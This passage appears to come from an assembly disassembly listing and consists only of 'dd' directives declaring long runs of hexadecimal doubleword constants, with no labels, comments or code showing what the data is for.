		dd 9B8FC5CAh, 80E2D2D6h, 0D3B94E9Ch, 722107B6h,	0E0D8A58Ch
		dd 6498112Ch, 6EE0EB02h, 0E3C76709h, 0E02EEB8Ah, 8A446Ch
		dd 711E578h, 0CF37B4EFh, 0AF930500h, 0B35B7F16h, 1E55FC15h
		dd 54E3F8h, 4DC450Ah, 1701240Bh, 53604A6Fh, 0CE8988Dh
		dd 0A54003Fh, 41BDDFBFh, 2B01F89Ah, 0FC121AB1h,	78E4E9D9h
		dd 3442018Dh, 0EBAF0B4Bh, 2932ECA7h, 12008CF6h,	83E71728h
		dd 1C914CFEh, 801D9FBEh, 0F692B5A8h, 8D005EE0h,	5462A4C6h
		dd 0C0590D61h, 1867BE10h, 0DBFF656Eh, 0D2BA2BF8h, 0B0E2F200h
		dd 907C5E0Bh, 0DD470073h, 0CE4BDA84h, 2A3E4A71h, 745C99h
		dd 0FB7F79B9h, 0EA0343Ah, 916201D6h, 6C971800h,	5900640Fh
		dd 0F18152BCh, 5F92DAh,	2991126Ah, 0B6A426BAh, 3468AC01h
		dd 0C5E688DDh, 0FC2D6424h, 73F80770h, 0A125AC1Fh, 802B9B4Ch
		dd 18B5F311h, 6074E3h, 0F6811D0Dh, 0FEE66B58h, 9F005C73h
		dd 0D9DA28A2h, 4135560h, 0E4CC1E9Eh, 40008731h,	4C36C5Bh
		dd 0BBDF6F00h, 1C6672C4h, 0ED400E75h, 2C87D043h, 56B1C00Bh
		dd 4200C604h, 8F8E4AEh,	5046B2h, 868409A4h, 1BCCEF69h
		dd 0A5C99700h, 9C1ACF8Ah, 3C5F0029h, 0FD6FE81Eh, 0B60925Bh
		dd 93FA1678h, 51390307h, 6E4F7A4Bh, 66E16890h, 0C6C04200h
		dd 44869849h, 4E2C003Eh, 5CAB4840h, 61FA079Eh, 0A74F9F00h
		dd 0C653AD30h, 0CF340094h, 851D455Dh, 0F70227B5h, 71339E06h
		dd 0DB15607Eh, 0ECAB0C98h, 44800C12h, 864A930Dh, 0F40207Fh
		dd 0DEF584h, 85F22E92h,	17D7BE5Ch, 8C124202h, 0E03C4307h
		dd 7C68E151h, 632A00DCh, 0E6C3AE81h, 92B00F58h,	0F300597Dh
		dd 34CE12D4h, 0ECED2C0Dh, 67FF1984h, 8068F8ABh,	3D02568h
		dd 4847BAA3h, 0B10F94B2h, 4A0C2DEh, 8E349E60h, 90FDE200h
		dd 0EEF1F4A6h, 99920053h, 0ABFE4650h, 0DF3B2DA9h, 8F5605D9h
		dd 46C0AEB0h, 24A30AC2h, 80EC7ACFh, 595CBDB2h, 177B7522h
		dd 70C7880Eh, 0AC3961E7h, 64F87FF6h, 0DEE800C9h, 6C8F6AB3h
		dd 0D185460h, 0A678B61Ch, 913B00FBh, 905342C8h,	0D400822Dh
		dd 9E1C9606h, 0FC402BFDh, 738B7A5Ah, 2DEE0069h,	0A470753Bh
		dd 12004E3Eh, 7DE0F87Ah, 0DE42A165h, 0DFBEC8A0h, 4C8CDB03h
		dd 40CFD83Bh, 7DD703AFh, 0C09F2FA2h, 73A1B80Eh,	91C27D19h
		dd 40940426h, 0B8337C68h, 27EF0723h, 707A309Bh,	63E179B0h
		dd 0C31A670Fh, 0DD930721h, 8AA19510h, 5AFD005Ch, 97985DC5h
		dd 0F8009B40h, 0FA03F515h, 727501h, 25140982h, 4A67C5B6h
		dd 0CA03ECB0h, 6436FA96h, 55539078h, 0A8470295h, 0F2CD5B48h
		dd 73298D40h, 179FCF03h, 0A75F323Bh, 0AFA0EFB1h, 0C54560h
		dd 6547CABh, 5015B67Ah,	1C13B00h, 6B4348DAh, 4BE00AAh
		dd 0B0E82DC3h, 0C8002175h, 1979C252h, 64057Bh, 0EA113777h
		dd 0AC2DD3F5h, 5C669A00h, 0BA103830h, 441900ABh, 57429028h
		dd 4C742AA8h, 301F6701h, 0F99462F2h, 3D266ED8h,	652CFB36h
		dd 8B5D0088h, 0DD0769D4h, 0E8BBF600h, 5AB31398h, 0D66E03BDh
		dd 0CC0DD092h, 3F023B80h, 2C046D1Ch, 53C93280h,	3EB969h
		dd 13520E44h, 0A9A257BCh, 6C9BB500h, 41D290DFh,	9437004Eh
		dd 5424C502h, 0D11D1D6Fh, 83C06ACDh, 0C38252BEh, 0FC150057h
		dd 3D33DC6Dh, 0C800EA74h, 0D360EB7Dh, 49630Eh, 0FCA2FD7Ah
		dd 40902671h, 2745F51Eh, 53C0AE5Eh, 5A991F0Fh, 786C77AFh
		dd 1BEC0F16h, 0AC003ADFh, 0E224F1A1h, 0B800FDEAh, 9613A33Ch
		dd 0B8FC2880h, 4EEF1728h, 0B64A095Bh, 33C30B00h, 5030EB8h
		dd 8C01FCD2h, 892FA864h, 0D0AD48D6h, 3999411Fh,	3FC09583h
		dd 0E67CE417h, 190008FEh, 0DEA58235h, 262FAFB0h, 80DCB50Ch
		dd 0D514F443h, 1B98BFBCh, 80EEAD38h, 0E26433C0h, 9EB445h
		dd 5EA258A7h, 0D580E366h, 0BE7E0300h, 0C2F51D41h, 2D1E4A9h
		dd 18E95FCCh, 44C0BCA0h, 249948DBh, 9F9ABF04h, 0C818080h
		dd 39207EB9h, 0E40039B6h, 0E54CDEA6h, 9675F233h, 25C33E03h
		dd 26A83D47h, 4378A248h, 0C0CC80DDh, 41317BF0h,	0D2720200h
		dd 37425971h, 61E40055h, 0E0F5A21Dh, 763D870Bh,	80F0BE8Fh
		dd 8A02D8BFh, 60801A08h, 397A68F1h, 185820B1h, 973E0077h
		dd 74C73F57h, 6D1008Fh,	382612E6h, 2B00BD8Dh, 57A8AB65h
		dd 16EECCA3h, 729ACBh, 0A64E0C6Ch, 6500A7DDh, 1DE549D6h
		dd 16D51E6h, 4CE0D838h,	0F95B1CB0h, 5860DA56h, 0B8038598h
		dd 0A74D07F8h, 0D2D8004Eh, 16E10239h, 0A14DD584h, 20C210C4h
		dd 7385D783h, 0A8200BFFh, 91B6CE72h, 0D3CDB32Ch, 6DC62200h
		dd 75A88CE1h, 0D43A009Bh, 82C5BA26h, 0CF003336h, 0A427C6A3h
		dd 0BBB2E5h, 2A982912h,	193C6358h, 0E08CF200h, 21C2F635h
		dd 2E9A001Dh, 0FC3DE80Dh, 4004145h, 0E0A2E3EDh,	4CA755C6h
		dd 0CD0179B3h, 87B1A0DBh, 0BE5AE89Ah, 0D700297Ah, 0B9B42F93h
		dd 924F3F4h, 641F197Ch,	0EA31E280h, 0BB00ED3Eh,	709A47C8h
		dd 0E1C3C4h, 209CC45h, 55D4A505h, 6900C8FCh, 0E3724AD3h
		dd 194A4B8h, 1F905A7Fh,	0C8E2D266h, 5D00C311h, 36AAC823h
		dd 0B8ACE5h, 0FBB5730Bh, 0DCECD2E6h, 0BC5C6E00h, 81DBE2BDh
		dd 0D4020076h, 2A8E7270h, 4D1C6233h, 13035B3Ch,	0C87153AEh
		dd 3234F6h, 9886CA6Dh, 0FB08B3F9h, 0A8026907h, 5F402FD3h
		dd 429FBDh, 0A266BB39h
		dd 68510F56h, 4FA3A600h, 7F92DBEEh, 2BB00243h, 961080F0h
		dd 0CE78A7E0h, 0EFDEF603h, 8861B32Ch, 0BDCF2Fh,	54161CAAh
		dd 39C2A8D5h, 8697E07h,	0BE209A09h, 0E55086B4h,	25ACCh
		dd 48DEB871h, 0FDAD7DAEh, 0EE24F400h, 0A66AB742h, 72943907h
		dd 9B718D80h, 769C4AFCh, 4EA5C100h, 81880D29h, 0DAA814EAh
		dd 0F400E5B0h, 0ACCE8ABBh, 4000E932h, 2BD63928h, 0E8DC3DD2h
		dd 9E4E0C9Bh, 2EB82FCBh, 821C6C7Dh, 0BA408087h,	4914FC19h
		dd 51D300A4h, 6A449902h, 0A10F455Fh, 609160B9h,	0F7B3E113h
		dd 0C00B005Bh, 0CBB08AC9h, 9600DDD5h, 68D7E2ACh, 8B7E32h
		dd 1240D921h, 18D3E1B4h, 865E0D00h, 157624CAh, 1D4401C0h
		dd 5FED1173h, 4639D88Eh, 0A66B9B00h, 0F67E14C6h, 0DD7F00FCh
		dd 5960CEADh, 0F00514Ah, 15167561h, 2A7BEFEh, 0B6ECF23h
		dd 0CC8049ABh, 61EC7B7Ch, 9D2BE1C0h, 5D7597h, 26A1706Ch
		dd 0A228FDF4h, 0EDBFC00Bh, 1D9B00FAh, 9B1CC1h, 858B5D0h
		dd 0ACF2FC92h, 0A9E45Ch, 213709D3h, 758F057Ch, 2BCCA0B3h
		dd 0C9E22E9h, 56F0B01Dh, 458B3840h, 0A01F4453h,	4A921Ch
		dd 27630A75h, 7616A1B4h, 3E315400h, 79A2938h, 90EE8EDh
		dd 3D2C56F9h, 0A0718407h, 0FA53BC89h, 27649F00h, 0B4053774h
		dd 0AAA800C9h, 8ED3BEDCh, 0E200B73Dh, 82548487h, 53A911h
		dd 0CF151C47h, 551B8E8Ch, 3A017301h, 0EB23D0A6h, 62545ECh
		dd 0CA6E48A7h, 6B1C10E0h, 7C40E7EDh, 0F5BE541Fh, 92850097h
		dd 0B27DA42Fh, 6E00E330h, 45AA5D35h, 2A2713h, 98FB7B61h
		dd 69C34189h, 0D13DCA00h, 0C6326A09h, 0FC8E04EBh, 80C5D8AEh
		dd 6CBA1151h, 3FCE1E00h, 0E68A74E7h, 0D02D2CC4h, 607505A9h
		dd 0E5D80032h, 0C95B6CAh, 572A9200h, 33A90881h,	358D337Ah
		dd 0DB98A39Ah, 275C1D7Dh, 119C30B1h, 48551CCAh,	0D50490C2h
		dd 80192343h, 3B89B8FDh, 0DD35E51Fh, 8125F98Eh,	0FB71D97Eh
		dd 0B2CE708Ch, 77053508h, 0DD89C387h, 0A7CC15C3h, 850E0591h
		dd 0F1D21BBh, 5CA83084h, 9A1D5774h, 7B2664A2h, 5A81ED1Fh
		dd 2FDDCF27h, 0FF0160h,	0B244589Fh, 5112465h, 3CC31228h
		dd 4D00927Ah, 3DABFC53h, 1EC41DFh, 38BFDD8Dh, 705A9A93h
		dd 5D00BA95h, 11DC6B0Dh, 0CC66528h, 9F123754h, 0C50C5388h
		dd 0B877745Bh, 703182E3h, 0FD000AC6h, 0F6ACAE8Eh, 2E389C73h
		dd 718483C0h, 0E8DFF061h, 7ACAC1h, 19D3B0C7h, 1DBB99A6h
		dd 1A709200h, 54154B9Ah, 247076h, 75E290A2h, 0F4813A74h
		dd 3114C803h, 0A87BA662h, 7F821Eh, 16597C80h, 0E3534642h
		dd 0FC549500h, 0E214B8ADh, 7CEAE8h, 49A94E03h, 0B6C3D5B9h
		dd 85605E01h, 0F96A46B2h, 0BFEA9CFh, 0A8D83920h, 424FC0h
		dd 0BFE098EAh, 0F42F60C2h, 1095A900h, 660E74ACh, 0CF28C08Ah
		dd 0EE7838D3h, 4E0062F0h, 5F39D19h, 0A8683C71h,	34B38Ch
		dd 2D228817h, 0B01D6D13h, 301F2F01h, 5AAE4B2h, 779BC8D8h
		dd 0B4E00F7Ch, 33E02474h, 5C02E1D3h, 0B7B8B4A8h, 1A652C05h
		dd 0E0C0AC60h, 1951474h, 34FBECCFh, 8AE361E2h, 0E083FD70h
		dd 753387BCh, 15603FAAh, 18AC26h, 8892BA32h, 0DAB1EC9Dh
		dd 2305FF00h, 0F0B47E52h, 9A36090Ah, 34008CF1h,	3CBA44D5h
		dd 34C83907h, 0DA10856Bh, 4650D96h, 0E2A51AE3h,	0DD38C21Dh
		dd 1FE59CA1h, 0C2C2DA3Ah, 13B92D60h, 88502803h,	8080B46Ah
		dd 0F102D19h, 1F2ABF35h, 875E1D27h, 94B4C06Fh, 2D008C3Eh
		dd 9FF38FB1h, 788854h, 62B64136h, 706DB43Ch, 11FA7D34h
		dd 10C047Eh, 4E10969Bh,	51AA0200h, 2A5E9DE0h, 0F6A7717Ah
		dd 3A360070h, 0BB531501h, 0DF32936Bh, 1052296Ch, 1189C3C9h
		dd 0F844B908h, 85108456h, 0DD212B76h, 91FD7F08h, 37C300AAh
		dd 5B3343FCh, 1567005Fh, 3A46B5D5h, 5C00A39Fh, 0ABB43071h
		dd 5FFF1Ch, 8F9DF1F6h, 0AAC63604h, 3578B300h, 33225828h
		dd 0A8F000F7h, 0F9165A39h, 8100E1B1h, 0D0F15542h, 7A71AAB8h
		dd 0D4B00FEh, 1EC8D6C3h, 3C00F589h, 10A472D1h, 0E7A2FFh
		dd 95132803h, 0F4C7FAF2h, 691C7300h, 0CBD24DC2h, 28120024h
		dd 0E4292B64h, 4F44535h, 2A8AE700h, 22E25260h, 0F39100D9h
		dd 94F4BF0Ch, 2F5841A1h, 0C3A9007Fh, 99DDA082h,	8E5B0267h
		dd 0EA39C707h, 0DDFD4A0h, 0EF00F70Ch, 8236CB9Ah, 3E9BCA7h
		dd 2FBAACFh, 0F5D877C3h, 0FC1FB3B5h, 0A80BDA2h,	0E07FBE01h
		dd 0FFE60C19h, 0C6B0D443h, 95EAE100h, 0E7BEAD88h, 0BB410556h
		dd 433AE6h, 0E35DBCBh, 0EE02C0D5h, 5E2644E8h, 1C2CE0A5h
		dd 0F2D61273h, 0D1C00F9h, 967C5B3Fh, 1657200h, 2D93EE07h
		dd 0D4020078h, 2F90D919h, 80FC8674h, 0D1289A00h, 9520F65Eh
		dd 485C0033h, 943BDDC8h, 53000F25h, 60EC03AFh, 18686Eh
		dd 0DD7B39Fh, 0F2E53044h, 0C04CAD03h, 0E8BF58D4h, 0E0E664Ah
		dd 0C88B8EEFh, 98D0D83Bh, 9C7A3594h, 5ECA610Eh,	16405D29h
		dd 0D6C96048h, 0CE130089h, 0FBE755A3h, 0A838FE54h, 0A1F20799h
		dd 60EFF90Ah, 0A65E6964h, 59700F38h, 0AF0E5585h, 801676C4h
		dd 0FDC0AB98h, 2DBEB107h, 0D100CFB9h, 0C56EF0h,	4CDBB521h
		dd 1A19E50Bh, 0CCE94307h, 0B660CB74h, 0F071DEh,	11830C70h
		dd 0CF2AE7FBh, 0B21F7E09h, 888A0029h, 0AE0BC507h, 1C793DF4h
		dd 0ADB41Dh, 0A89957BBh, 53267140h, 80018D5h, 0A7C7399Eh
		dd 48C40356h, 3D20F201h, 3AF5B980h, 0FC73FF3Ch,	3F2BA000h
		dd 146D86F4h, 9FD9017Fh, 19BD05D1h, 502CC1B0h, 0AC8AA3F0h
		dd 34F4C900h, 0E93FC42Dh, 6EC52447h, 8E9A0044h,	7C78ABDFh
		dd 31F59800h, 0FE6B5C76h, 15E3073Ah, 0E3655247h, 26997FBFh
		dd 0D3F2FCC9h, 12587B01h, 0F6B13FC6h, 97A5C8h, 67385165h
		dd 4F0246D4h, 50EA621Eh, 0A94CAAC0h, 2FA1D2h, 1D2B4958h
		dd 7194D0Ah, 8C89C100h,	0B1BEB6EEh, 3A7487h, 0C308736Ch
		dd 5A7FE944h, 3D9DCF01h, 5EAA271Ch, 3BA3CECh, 89D466F9h
		dd 86B0ABAFh, 0E7E0E8AEh, 0CF4DC800h, 7F5780FBh, 0CBF004Bh
		dd 3E7D614Ah, 3B14D85Ch, 1FC0708h, 0E4AFACDFh, 85FC792Ch
		dd 0AEAD0018h, 695D33E9h, 0D7004531h, 0B4984139h, 0E4B796h
		dd 8A42657Fh, 687A8C16h, 471DF400h, 0F22B1F23h,	877E1D85h
		dd 3B9C00ADh, 91A68CA2h, 0B0E75100h, 7FAA30Bh, 867D00FBh
		dd 305BD43h, 0B89146A9h, 57D4680Eh, 60BAD30Fh, 0A851BCF1h
		dd 6AE8FF3Dh, 888600EBh, 41584A7Dh, 0F4E37107h,	0E4003E1Dh
		dd 273145BCh, 3387DF9h,	0A4ABC9DEh, 0D4C0D25Fh,	55006A08h
		dd 59E29517h, 15CF7E5h,	48C898B9h, 434A6DAAh, 80E725CDh
		dd 931D4F07h, 92D4D105h, 74C05733h, 121FE7h, 0FB181037h
		dd 0D85E3619h, 72ADF600h, 5181A0E8h, 0E3CD02D9h, 2F073F4Fh
		dd 0B8799F80h, 52003B7Dh, 8121C2Bh, 93A0A8h, 63864237h
		dd 0E3C4B161h, 74C0B800h, 24E6E1BAh, 109068h, 0ECF428CCh
		dd 0DF471F44h, 80C7963Dh, 8F24F22Dh, 3B5568C0h,	0C500266Ah
		dd 9583D35Dh, 341E899Ah, 3B00DDBEh, 884A9D75h, 0E5B30047h
		dd 0E824C217h, 0F71202CFh, 173BC5h, 8EFBB0h, 94A7C691h
		dd 5AE70508h, 71228B01h, 1C44664Bh, 0E0C77C21h,	0F5C7D2B3h
		dd 1C14C30h, 0E4081BAAh, 40D38081h, 0B5D6F4CCh,	0F5316200h
		dd 5A3E49C3h, 8BBB0028h, 8434441Fh, 0A10BE299h,	31072h
		dd 386FCE49h, 0ACDC0F0Eh, 48604592h, 664F72F3h,	533D3Ch
		dd 201D39ABh, 0F8C3C4B8h
		dd 7A5F46Dh, 0CAFB2811h, 56DE9161h, 131BF45Ch, 9ED02200h
		dd 473BED94h, 0D28104B8h, 80BB4E8Dh, 0FD3424F4h, 82CC6000h
		dd 9BEFA4D0h, 0C407007Bh, 84E8CDF6h, 0B8137C6Ah, 0C900B9CEh
		dd 3DC1CC54h, 5E88019Eh, 0F934AB5Bh, 0FCD8603Ch, 0F878A700h
		dd 0EAA1DDD5h, 6622C2Bh, 497A80B4h, 0C21C1144h,	0B2B43F50h
		dd 65AB8900h, 0BE25058Fh, 0CF781F70h, 0BF178091h, 9C0C8536h
		dd 0E65B1401h, 6CF7CBA0h, 75184864h, 0AC030724h, 0E72C999Ch
		dd 3A52C277h, 0BE5A30C0h, 0C17CEE0Bh, 0A28C209Dh, 4C1D07AFh
		dd 0AA0F5C0Ch, 978082FFh, 0BC885721h, 7C392460h, 7B3A2D6Bh
		dd 0D1D50EDCh, 74E06F8Eh, 20E3CE1Dh, 0E4CBDE1Eh, 0E1AE9580h
		dd 56385E0h, 3E28A59h, 8FD20061h, 22E79DEAh, 6480109h
		dd 0A14800D9h, 1B153AEh, 37DE143Dh, 0FC676064h,	81F60B72h
		dd 79998E00h, 2A8C1DDBh, 56A3133Ch, 0B74F00CCh,	2B851EB4h
		dd 16F56C00h, 8362BBC8h, 67971D15h, 3732C3F9h, 78F0EF57h
		dd 5E1341D4h, 4C02D8EEh, 405B3A74h, 103A782h, 6BC34C8h
		dd 0E09E287Ch, 0C700D070h, 41243D44h, 19C07Ah, 0FCD93389h
		dd 0B67DAE9h, 4A5E531Eh, 0F4321140h, 0F2A1DC9Bh, 0D0EC17F8h
		dd 0B630098h, 64569A5h,	0DA1B4D0Ch, 8A68B9h, 9AF97689h
		dd 2359F7EDh, 0BD623Ch,	0A5ECF0CBh, 3CC171h, 6A179693h
		dd 0F7D50A8Ch, 300ABE75h, 0D9296CD4h, 35733700h, 0B2364Fh
		dd 5980F8EAh, 21DE9472h, 0C8FC531Eh, 478A7180h,	0E69AB4B2h
		dd 0C87B6055h, 0AFE14579h, 50DC0600h, 0FD319CA7h, 225B00AEh
		dd 0BBC289Fh, 0FE004430h, 54202B1Ch, 18DCF25h, 9B3897E8h
		dd 0EF8B8253h, 29B950E7h, 0E302589Eh, 0A5F27528h, 0C8A08063h
		dd 0F4D4E9FDh, 0F74100B1h, 3E377EEEh, 780C6632h, 296D72F2h
		dd 2DC42CEh, 9A1E22CAh,	1C56E0A4h, 11794Fh, 4673DF51h
		dd 0F14AAD12h, 81AC2600h, 0CA783C45h, 7D9C00AEh, 76F36657h
		dd 0B93E022Eh, 0D79893EBh, 5C07BA12h, 0A2E0459Eh, 5395A8h
		dd 8789EC63h, 290BD9AAh, 0CCFD2528h, 0E6BFD203h, 3C39A2B9h
		dd 0AF015724h, 697D041h, 0D880F2DEh, 7E4A34FFh,	0F2C3DC00h
		dd 0C6084D04h, 5F480071h, 913BB22h, 20001ABh, 1C397238h
		dd 190D8Dh, 0E711C4F4h,	32859780h, 0FCC60700h, 8CA55E9Dh
		dd 145600DAh, 0D5C8AD40h, 3BFCD306h, 0E9873E09h, 17A8E57h
		dd 3797BAFEh, 253020h, 0E412DA2h, 3AC6AD1Eh, 108A0C01h
		dd 0B12C71DBh, 9E2049D5h, 0D17D0093h, 742316CCh, 4A3FA456h
		dd 40F480EAh, 3009C06Ah, 1D7809ECh, 76005F0Bh, 87E1635Bh
		dd 731C8AF0h, 0EB57B3CDh, 18668A0Ch, 7ABC00C9h,	9064CBD9h
		dd 2A1B8F38h, 0F8402006h, 60CC1B1Ah, 69C5111Fh,	0F5385B67h
		dd 5ED9F88h, 0D1C37100h, 9203A2h, 0ACE524B0h, 0E29DF314h
		dd 2387AB00h, 81D9A5D8h, 0E6B30030h, 0F62938F4h, 8031EEAh
		dd 495E5C7Ah, 1356037Ch, 0BD7486A6h, 55F4C5C0h,	0D5B04700h
		dd 30066059h, 0F6430025h, 0F50EBC62h, 52008932h, 0C22FD37Ah
		dd 3BCF75F7h, 6C007BB1h, 0B2F6DFCBh, 5A000C41h,	0BB8258F8h
		dd 0D6C55Bh, 2D8EA9A8h,	4A491C7Bh, 0AD108400h, 43D79469h
		dd 0CE511EA1h, 232E4011h, 0D0837E8h, 4F428502h,	0E0B23D27h
		dd 0B09A1087h, 886300F9h, 0CF4530D2h, 271D8A6Fh, 0C38199B2h
		dd 0DAC07426h, 1ACDB0D3h, 8065007Eh, 8BF806D9h,	3E0C593Ah
		dd 98F470F1h, 2C8D284Ah, 2B75E5h, 6D29EB8Fh, 854837B8h
		dd 8E502E00h, 0BB025CF0h, 93DA0F9Ah, 0AE48BDDh,	0D0BC8736h
		dd 54CD338Ch, 2D91850Eh, 28C6E05Eh, 3B3E5A81h, 9D8018F8h
		dd 7819DB55h, 1300ED46h, 0BD03C7BAh, 27F56A7h, 0D6860F0Eh
		dd 9086AA55h, 490F18BFh, 96929990h, 0E065505h, 826C89C1h
		dd 69AC34h, 43D43B09h, 0FA71E58Dh, 8F7E9B00h, 493E1155h
		dd 0CA200029h, 0E719AAFDh, 960089C2h, 0E64F5E93h, 0C82E57h
		dd 58CBDC97h, 12186CA4h, 0A107D490h, 50681663h,	0BDC73190h
		dd 0F292001Ch, 0C405BAC8h, 8F3A1AD4h, 699800D2h, 0C55C6EAh
		dd 7B3F00A6h, 534B4A9Eh, 5F001710h, 0F424EDDFh,	2FB83Ch
		dd 0F17BD87Ah, 7202D4C5h, 0CAE61B00h, 0FE13AA32h, 40643FB8h
		dd 0CF804502h, 24C86A9Bh, 6300797Ah, 7AD2A89h, 9764DF7h
		dd 11B8C6Eh, 71621083h,	0E76621C0h, 0A13C7707h,	4B20EA0Eh
		dd 9D29E0h, 59A26D92h, 865CE5E8h, 0F41B1F13h, 4482F000h
		dd 0F545C2h, 0E5D885B0h, 4F27F079h, 3B0EA600h, 0CA4BF9D7h
		dd 0B362A26h, 3D7100B4h, 0B81F6AABh, 0B300923Ch, 0EE30F17h
		dd 5D78030h, 21EB2FBFh,	8E2AC789h, 9C9357C0h, 991E8AB4h
		dd 70002C3Fh, 632E00Ah,	0D77A00A8h, 44D55820h, 6A2C7960h
		dd 0F58F90E5h, 9CA880EEh, 0C49963h, 89889D9h, 81A6C270h
		dd 660EEF07h, 2C50879Eh, 0E59C804h, 56C73B3Dh, 0C58CAE64h
		dd 76A7803Ah, 95021158h, 4C358365h, 0DCAC8302h,	7491C08Ch
		dd 4ED90092h, 0BE60D0F9h, 4006810h, 0AE4366A1h,	182C98FBh
		dd 50E688B8h, 0CA00C631h, 0BE858CA8h, 32D404h, 0E2898B40h
		dd 339F280Eh, 0B8BB9200h, 0F649938Ch, 99A400EDh, 0B2C5F0Ch
		dd 0FBE29632h, 369E3418h, 77C31F9h, 0C79AC42Eh,	151CB010h
		dd 877DDED6h, 85F0BCE6h, 0E9007974h, 510AD773h,	3E33C59Eh
		dd 2780A49Fh, 0DCC04F5Fh, 0AC30B5AFh, 0DBD7101Ah, 758010F5h
		dd 95CD0017h, 68257EC2h, 0E697022Eh, 58FC5DC0h,	5EE8CC0h
		dd 564DC300h, 8A221D2Dh, 1239DF12h, 0C443EF08h,	0B05559FEh
		dd 0F9F3098Ch, 58E1B840h, 9BC40136h, 672FE55Ch,	50EC30E9h
		dd 571F2407h, 4200EDBCh, 7BBE049h, 0E2450548h, 861C9095h
		dd 410064AAh, 0FC9DF8BDh, 0D94807h, 6D6C55A4h, 0E9E1E009h
		dd 3FB08F00h, 0C1209938h, 0DEE20061h, 520BF5C7h, 55DD4F6h
		dd 9C660084h, 51E61AB7h, 9F5503FEh, 5AA5BD01h, 0BEE1F2F0h
		dd 31A29413h, 9600F713h, 33B671CEh, 95D0500Fh, 0DD9886h
		dd 8B14AC9h, 0E0CF4B2Eh, 0FE3F9490h, 0DC1A8215h, 6096D965h
		dd 0D8CBC720h, 0C53D11F1h, 780E9900h, 436FA92Dh, 0FC275921h
		dd 0E3F1ED00h, 4F238338h, 3C5DA724h, 0F75858h, 7F6369D2h
		dd 2CA6F31Dh, 3140FB1Dh, 0DBCB5640h, 7ACF2h, 3C749BEAh
		dd 68290527h, 97244700h, 2F19E77Ah, 0F0431328h,	7E2204F6h
		dd 0D300FE93h, 25CA47A3h, 0ED524DDh, 0F5F900A6h, 0B3786F19h
		dd 8DF69F00h, 827FAC37h, 881B1811h, 0D7EE108Fh,	878C5300h
		dd 20D25EF0h, 6B150B23h, 0C802778h, 0CA8AB007h,	84BBB400h
		dd 5D3D3896h, 0A3400D7h, 511A7FB9h, 860052DBh, 83D5F5DFh
		dd 1CBFD66h, 4E7C1043h,	0D44674D3h, 7D758EF8h, 6800CFF8h
		dd 285DD2D7h, 0EC865B4h, 0AFED75E6h, 93F6F340h,	0CC1692A3h
		dd 4E0029ABh, 0E58CC5CDh, 2355009Eh, 8A163384h,	5E002C14h
		dd 3643BC2Fh, 3832531Fh, 4B80B1B3h, 0CF50E75Bh,	850041EAh
		dd 0D3BA2FCBh, 0F63D572Eh, 0ADFAD5h, 0A83C5A1Eh, 7C271CD6h
		dd 4D0CBA00h, 0B1C8313Eh, 0EB70046h, 73166082h,	27006C84h
		dd 0C0F57E8h, 1B81E0h, 32381EF7h, 0F21707F6h, 11002CFAh
		dd 2BAC5FBBh, 623B80h, 57998B86h, 54798776h, 816A9E3Bh
		dd 0E8F393EEh, 82012D2h, 2C26000Ch, 1C0F3E52h, 0C8001EF4h
		dd 0FBA6BC93h, 48C1192Fh, 0C5008C04h, 52057BB7h, 55030F6Fh
		dd 7ECE6383h, 6AFFA870h, 0FCAA70B2h, 407B4C88h,	0D68BC900h
		dd 59B74E9Eh, 643FAEB0h
		dd 0B4AB2AE0h, 575A7107h, 0FED70DF1h, 5F8A7890h, 69D00CBh
		dd 0D03AF5E4h, 54FE138Eh, 0A1670F00h, 24FC9643h, 9F3E0012h
		dd 0EA8C6459h, 2A60E422h, 3011BD11h, 0FFF0B7E9h, 0B80082F0h
		dd 0C4B1A19Ch, 332688Eh, 0F3EF44FBh, 6A805689h,	8A00692Ah
		dd 980D5AC1h, 3C45F787h, 7B3AD184h, 0AECC1306h,	72F8B001h
		dd 84FBEA28h, 0C102CF0Eh, 32881EFh, 0CAC0D286h,	6EA006Eh
		dd 0C48ACC0Fh, 6B1879F2h, 0EFF0B0F1h, 6EE31D68h, 0E0312FAh
		dd 581A5430h, 0BFF83800h, 6E0014CFh, 5D5D0FDh, 74B97009h
		dd 39860F40h, 5A208A58h, 0CCE48476h, 74C8154h, 37010F81h
		dd 0C3E7D012h, 8B6E880Ch, 1BF6F00Dh, 30EC28F8h,	69526AC0h
		dd 83F9CB00h, 107B56C2h, 0D29500BAh, 0EE07B0A5h, 0AC005B3Bh
		dd 0D9634C45h, 4C20C1AEh, 510055C8h, 6C90E778h,	0E90012E2h
		dd 446B09AAh, 0F017A786h, 4E0F0FA0h, 45C0EC5Ch,	272C7493h
		dd 0C9E6D200h, 70795A56h, 0FCF30F5Eh, 9461C6CDh, 0BD55F9C0h
		dd 75F4F898h, 14A9AA6Fh, 0F1248304h, 6B100044h,	0EDB5BBCFh
		dd 4C0B5E8Fh, 80606276h, 246F5FB7h, 0C78C0199h,	4912682Ah
		dd 1A2890B7h, 422D5E84h, 3C437DDh, 5121BA26h, 19FB0816h
		dd 814C194h, 8BBE96Dh, 0A9882EB2h, 7C59104h, 131C3AFEh
		dd 1EA283h, 0DC28A008h,	0C32BA5C0h, 2038CB30h, 424F0h
		dd 0A23D0C3Eh, 0C6967572h, 360E2C00h, 0D8F59FE5h, 0B0900033h
		dd 0FF9BDCAEh, 0AC0F47AAh, 0D2E4F3B2h, 0D7C97100h, 796EBDh
		dd 0A102EFCBh, 0A8785C3Fh, 50000EB0h, 9AC034FCh, 777CDBh
		dd 4E4DA40Fh, 9BA5B2D5h, 34E30E01h, 52418EF0h, 0C370F4h
		dd 2C5BAD6Eh, 1BC60355h, 54982400h, 8811DEA2h, 3A047336h
		dd 0B680A061h, 380EF099h, 21E71DF1h, 0B5C3FCh, 0B2ECCAD8h
		dd 430049AFh, 0B18C6B9Dh, 0B503E2h, 5296E559h, 2ADE6F82h
		dd 47BAB003h, 80D619E0h, 389902h, 0CB8428A9h, 680763B2h
		dd 4FF99E0Eh, 1719B839h, 0E4D901F7h, 8EAC58CFh,	0BB988EBCh
		dd 215D6015h, 3979948Dh, 20489E78h, 7A079300h, 599A3613h
		dd 6147631Dh, 4A5CF280h, 166D6A5Fh, 133303Ah, 0D7DFB0E7h
		dd 0AACDCC89h, 37DC0600h, 20BFBAD2h, 2C38007Dh,	2579682Fh
		dd 3C006083h, 0A0074EDCh, 41B6E4h, 8CC03557h, 6A49F63Eh
		dd 6345C21Dh, 0C87115C0h, 0F2027BFAh, 96E3072Dh, 61AF51CCh
		dd 30C259E7h, 0D00267Eh, 7AA36DE0h, 0FE3480h, 47F6D169h
		dd 5A6E3D72h, 0E3AC700h, 1C8E5DFCh, 59C41E32h, 81B943C9h
